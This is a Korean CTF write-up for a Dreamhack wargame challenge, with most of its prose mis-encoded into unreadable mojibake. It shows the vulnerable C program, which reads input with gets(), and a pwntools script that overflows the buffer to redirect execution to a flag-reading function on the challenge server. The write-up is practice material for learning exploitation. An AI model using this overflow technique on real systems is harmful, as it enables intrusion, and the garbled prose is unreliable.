1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/3
์ด ๋ฌธ์ ๋ ์๋ฒ์์ ์๋ํ๊ณ ์๋ ์๋น์ค(basic_exploitation_001)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค.
ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ์ต์คํ๋ก์ํด "flag" ํ์ผ์ ์ฝ์ผ์ธ์.
"flag" ํ์ผ์ ๋ด์ฉ์ ์๊ฒ์ ์ฌ์ดํธ์ ์ธ์ฆํ๋ฉด ์ ์๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
ํ๋๊ทธ์ ํ์์ DH{...} ์
๋๋ค.
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ๋ถ์
๋จผ์ ์ ์ฉ๋ ๋ณดํธ ๊ธฐ๋ฒ์ ์๋์ ๊ฐ๋ค. (๋ฌธ์ ์์๋ ํ์ธ ๊ฐ๋ฅ)
NX๋ฅผ ์ ์ธํ๊ณ ๋ ์ ์ฉ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด ์๋ค.
์ด ๋ฌธ์ ๋ ๋ฐ์ด๋๋ฆฌ ํ์ผ๊ณผ ํจ๊ป ์์ค์ฝ๋๋ฅผ ์ ๊ณตํ๋ค.
- alarm_handler ํจ์: "TIME OUT"์ ์ถ๋ ฅํ๊ณ ํ๋ก๊ทธ๋จ์ ์ข ๋ฃํ๋ค.
- initialize() ํจ์: SIGALRM ์๊ทธ๋ ํธ๋ค๋ฌ๋ฅผ ์ค์ ํ ๋ค, 30์ด ํ์ ์๋์ด ์ธ๋ฆฌ๋๋ก ์ค์ ํ๋ค.
- SIGALRM ์๊ทธ๋์ ๋ฐ์ผ๋ฉด alarm_handler ํจ์๊ฐ ํธ์ถ๋์ด ํ์์์ ์ถ๋ ฅ ํ ํ๋ก๊ทธ๋จ ์ข ๋ฃ
SIGALRM์ด๋ Unix ๊ณ์ด ์ด์ ์ฒด์ ์์ ์ฌ์ฉ๋๋ ์๊ทธ๋(signal) ์ค ํ๋์ด๋ค.
- ์๊ทธ๋(Signal)์ด๋?
- ํ๋ก์ธ์ค ๊ฐ ํต์ ์ ์ํ ์ํํธ์จ์ด ์ธํฐ๋ฝํธ
- ์ด์ ์ฒด์ ๋ ๋ค๋ฅธ ํ๋ก์ธ์ค๊ฐ ํ๋ก์ธ์ค์ ์ด๋ค ์ด๋ฒคํธ๊ฐ ๋ฐ์ํ์์ ์๋ฆฌ๋ ๋ฐฉ๋ฒ
- SIGALRM:
- SIGALRM์ "alarm clock" ์๊ทธ๋์ ๋๋ค.
- ์ฃผ๋ก alarm() ํจ์๋ setitimer() ํจ์์ ํจ๊ป ์ฌ์ฉ
- ์ง์ ๋ ์๊ฐ์ด ๊ฒฝ๊ณผํ์ ๋ ํ๋ก์ธ์ค์ ์ ๋ฌ
- SIGALRM์ ์ฃผ์ ์ฉ๋:
- ํ์์์ ๊ตฌํ: ํน์ ์์ ์ด ์ ํด์ง ์๊ฐ ๋ด์ ์๋ฃ๋์ง ์์ผ๋ฉด ํ๋ก๊ทธ๋จ์ ์ข ๋ฃํ๊ฑฐ๋ ๋ค๋ฅธ ๋์์ ์ํํ๊ฒ ํ ์ ์๋ค.
- ์ฃผ๊ธฐ์ ์ธ ์์ ์คํ: ์ผ์ ๊ฐ๊ฒฉ์ผ๋ก ๋ฐ๋ณต๋๋ ์์ ์ ๊ตฌํํ ๋ ์ฌ์ฉํ ์ ์๋ค.
SIGALRM์ ํ๋ก๊ทธ๋จ์ ์๊ฐ ์ ํ์ ๋ ์ผ๋ก์จ, ๋ฌดํ ๋ฃจํ๋ ๊ธด ์คํ ์๊ฐ์ผ๋ก ์ธํ ์์ ๊ณ ๊ฐ์ ๋ฐฉ์งํ๊ณ , ํ์์์ ๊ธฐ๋ฐ์ ๋์์ ๊ตฌํํ๋ ๋ฐ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋๋ค.
- claude ์ฌ์ฉ
main์์๋ 128๋ฐ์ดํธ(0x80) ํฌ๊ธฐ์ ๋ฒํผ๋ฅผ ์ ์ธํ๊ณ initialize ํจ์๋ฅผ ํธ์ถํ ๋ค, gets() ํจ์๋ก ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ฐ๋๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
gets()ํจ์๋ bof์ทจ์ฝ์ ์ด ์๋ ๋ํ์ ์ธ ํจ์ ์ค ํ๋์ด๋ค.
์ ๋ ฅ๊ฐ์ ํฌ๊ธฐ๋ฅผ ์ฌ์ฉ์๊ฐ ์์๋ก ํค์ธ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฐ๋ผ์ ๋ฒํผ(0x80)๋ณด๋ค ํฐ ๊ฐ์ ์ ๋ ฅํ์ฌ return ์ฃผ์์ ๊ฐ์ ๋ฎ์ด์จ read_flag ํจ์๋ฅผ ํธ์ถ ์ํฌ ๊ฒ์ด๋ค.
๊ทธ๋ฌ๊ธฐ ์ํด์๋ gdb๋ก read_flag ํจ์์ ์ฃผ์๊ฐ์ ํ์ธํ์๋ค. (IDA๋ก๋ ํ์ธ ๊ฐ๋ฅ)
PIE (Position Independent Executable)๊ฐ ๋นํ์ฑํ๋์ด ์๊ธฐ ๋๋ฌธ์, ์คํ ํ์ผ์ ์ฝ๋ ์น์ ์ฃผ์๋ ๊ณ ์ ๋์ด ์๊ธฐ ๋๋ฌธ์ ์ฃผ์๊ฐ์ ๊ทธ๋๋ก ์ฌ์ฉํ ์ ์๋ค.
- info functions {์ฐพ๋ ํน์ ํจ์ ์ด๋ฆ}
(2) ์ต์คํ๋ก์
pwntools๋ฅผ ์ด์ฉํด์ ์๋ ์ฝ๋๋ฅผ ์์ฑํ์๋ค.
from pwn import *
# ์๋ฒ ์ฐ๊ฒฐ ์ ์ ์ ๋ณด
host = 'host3.dreamhack.games'
port = 10381
context.log_level = 'debug'
# ์๋ฒ ์ฐ๊ฒฐ
conn = remote(host, port)
# read_flag ํจ์์ ์ฃผ์
read_flag_addr = 0x080485b9
# ํ์ด๋ก๋
payload = b'A' * 0x80 # buf์ ํฌ๊ธฐ
payload += b'B' * 4 # saved ebp
payload += p32(read_flag_addr) # return address๋ฅผ read_flag ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์
print(f"payload: {payload}")
# ํ์ด๋ก๋ ์ ์ก
conn.sendline(payload)
print("waiting for response...")
# ์๋ต ์์ ๋ฐ ์ถ๋ ฅ
response = conn.recvall()
print(response.decode())
# ์ฐ๊ฒฐ ์ข
๋ฃ
conn.close()
(3) ํ๋๊ทธ